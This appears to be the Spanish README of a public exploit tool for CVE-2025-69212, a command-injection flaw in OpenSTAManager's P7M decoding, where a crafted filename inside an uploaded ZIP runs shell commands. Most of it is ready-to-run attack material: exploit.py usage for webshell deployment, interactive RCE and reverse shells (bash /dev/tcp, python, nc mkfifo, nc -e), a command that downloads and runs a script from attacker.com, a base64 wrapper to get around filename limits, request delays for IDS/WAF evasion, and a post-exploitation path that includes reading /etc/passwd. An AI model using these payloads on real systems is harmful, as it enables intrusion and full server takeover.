OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de inyección de comandos del sistema operativo en la función de decodificación de archivos P7M (XML firmado).
| Campo | Detalles |
|---|
| ID CVE | CVE-2025-69212 |
| Gravedad | CRÍTICA (CVSS 4.0: 9.4) |
| CWE | CWE-78: Inyección de Comandos del Sistema Operativo |
| Versiones Afectadas | OpenSTAManager <= 2.9.8 |
| Función Vulnerable | XML::decodeP7M() en src/Util/XML.php |
| Vector de Ataque | Nombre de archivo malicioso en un archivo ZIP subido |
| Autenticación | Requerida (cualquier usuario con acceso a importación de facturas) |
| Impacto | Ejecución Remota de Código completa como usuario del servidor web |
OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de Inyección de Comandos del Sistema Operativo en la función de decodificación de archivos P7M (XML firmado). El método decodeP7M() en src/Util/XML.php pasa nombres de archivo controlados por el usuario directamente a la función exec() de PHP sin saneamiento, permitiendo a atacantes autenticados ejecutar comandos arbitrarios del sistema en el servidor.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
El parámetro $file — que se origina de los nombres de archivo dentro de archivos ZIP subidos — está envuelto entre comillas dobles pero nunca se sanitiza con escapeshellarg(). Un atacante puede crear un nombre de archivo .p7m que escape del contexto de las comillas dobles e inyecte comandos arbitrarios del shell.
plugins/importFE_ZIP/actions.php:126 — Vector principal al procesar subidas ZIP que contienen facturas electrónicasplugins/importFE/src/FatturaElettronica.php:56 — Constructor que procesa archivos .p7m individuales| Característica | Descripción |
|---|---|
--check | Verificar si el objetivo es vulnerable (crea y verifica un archivo marcador) |
--webshell | Desplegar un webshell PHP mediante inyección de comandos del sistema operativo |
--rce | Ejecución de comandos interactiva a través del webshell desplegado |
--reverse-shell | Activar una shell inversa (métodos python, nc, nc-e) |
--cmd | Ejecución de comandos a ciegas (disparar y olvidar) |
--shell-dir | Directorio personalizado para escritura del webshell |
--method | Selección del método de shell inversa |
--proxy | Soporte de proxy HTTP (Burp Suite) |
--delay | Limitación de solicitudes para evasión de IDS/WAF |
| Auto-detección | Descubrimiento automático de IDs de módulo/plugin importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check
# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce
# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target URL base del objetivo
Authentication:
-u, --user Nombre de usuario para inicio de sesión
-p, --password Contraseña para inicio de sesión
-c, --cookie Valor PHPSESSID existente
Actions:
--check Verificar si el objetivo es vulnerable
--webshell Desplegar webshell PHP
--rce Shell interactiva a través del webshell
--reverse-shell Shell inversa (LHOST LPORT)
--cmd COMMAND Ejecución de comandos a ciegas
Shell Options:
--shell-dir DIR Directorio de escritura del webshell (por defecto: files)
--shell-name NAME Nombre personalizado del webshell
--method METHOD Método de shell inversa: bash, python, nc, nc-e
Plugin Detection:
--module-id ID ID del módulo OpenSTAManager
--plugin-id ID ID del plugin importFE_ZIP
Network:
--proxy URL URL del proxy HTTP
-k, --no-ssl-verify Deshabilitar verificación SSL
--delay SECONDS Retardo entre solicitudes
El exploit crea un archivo ZIP que contiene un único archivo .p7m con un nombre de archivo malicioso:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Cuando OpenSTAManager procesa este archivo, la llamada exec() resultante se convierte en:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
El shell interpreta los puntos y coma como separadores de comandos, ejecutando el comando inyectado entre la llamada openssl terminada y el echo final.
Crítico:
ZipArchive::extractTo()de PHP trata las barras inclinadas (/) en los nombres de archivo como separadores de directorio según la especificación ZIP. Cualquier/en el nombre de archivo malicioso hará que la entrada del archivo se divida en directorios, rompiendo el payload del exploit.
Todos los comandos inyectados deben evitar / por completo. Para eludir completamente esta restricción y evitar que exec() de PHP se cuelgue (lo que puede ocupar workers del servidor y causar tiempos de espera), el exploit ahora envuelve automáticamente los payloads en Base64 y los ejecuta en segundo plano:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Esto permite usar / de forma natural dentro del payload interno (p.ej., /dev/tcp/10.10.14.5/4444) sin romper la estructura ZIP.
| Método | Payload | Requiere |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat con soporte -e |
El método bash es ahora el predeterminado, ya que es el más fiable y nativo en objetivos Linux.
Subir ZIP mediante el plugin importFE_ZIP
└── actions.php envía al manejador del plugin
└── ZipArchive::extractTo() extrae los archivos
└── Itera los archivos .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── El shell interpreta los comandos inyectados
1. --check → Confirmar RCE mediante archivo marcador
2. --webshell → Colocar shell PHP en el directorio files/
3. --rce → Ejecución de comandos interactiva
4. Enumerar → id, cat /etc/passwd, ifconfig
5. Pivotear → Shell inversa hacia el atacante, post-explotación
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga la autorización adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido.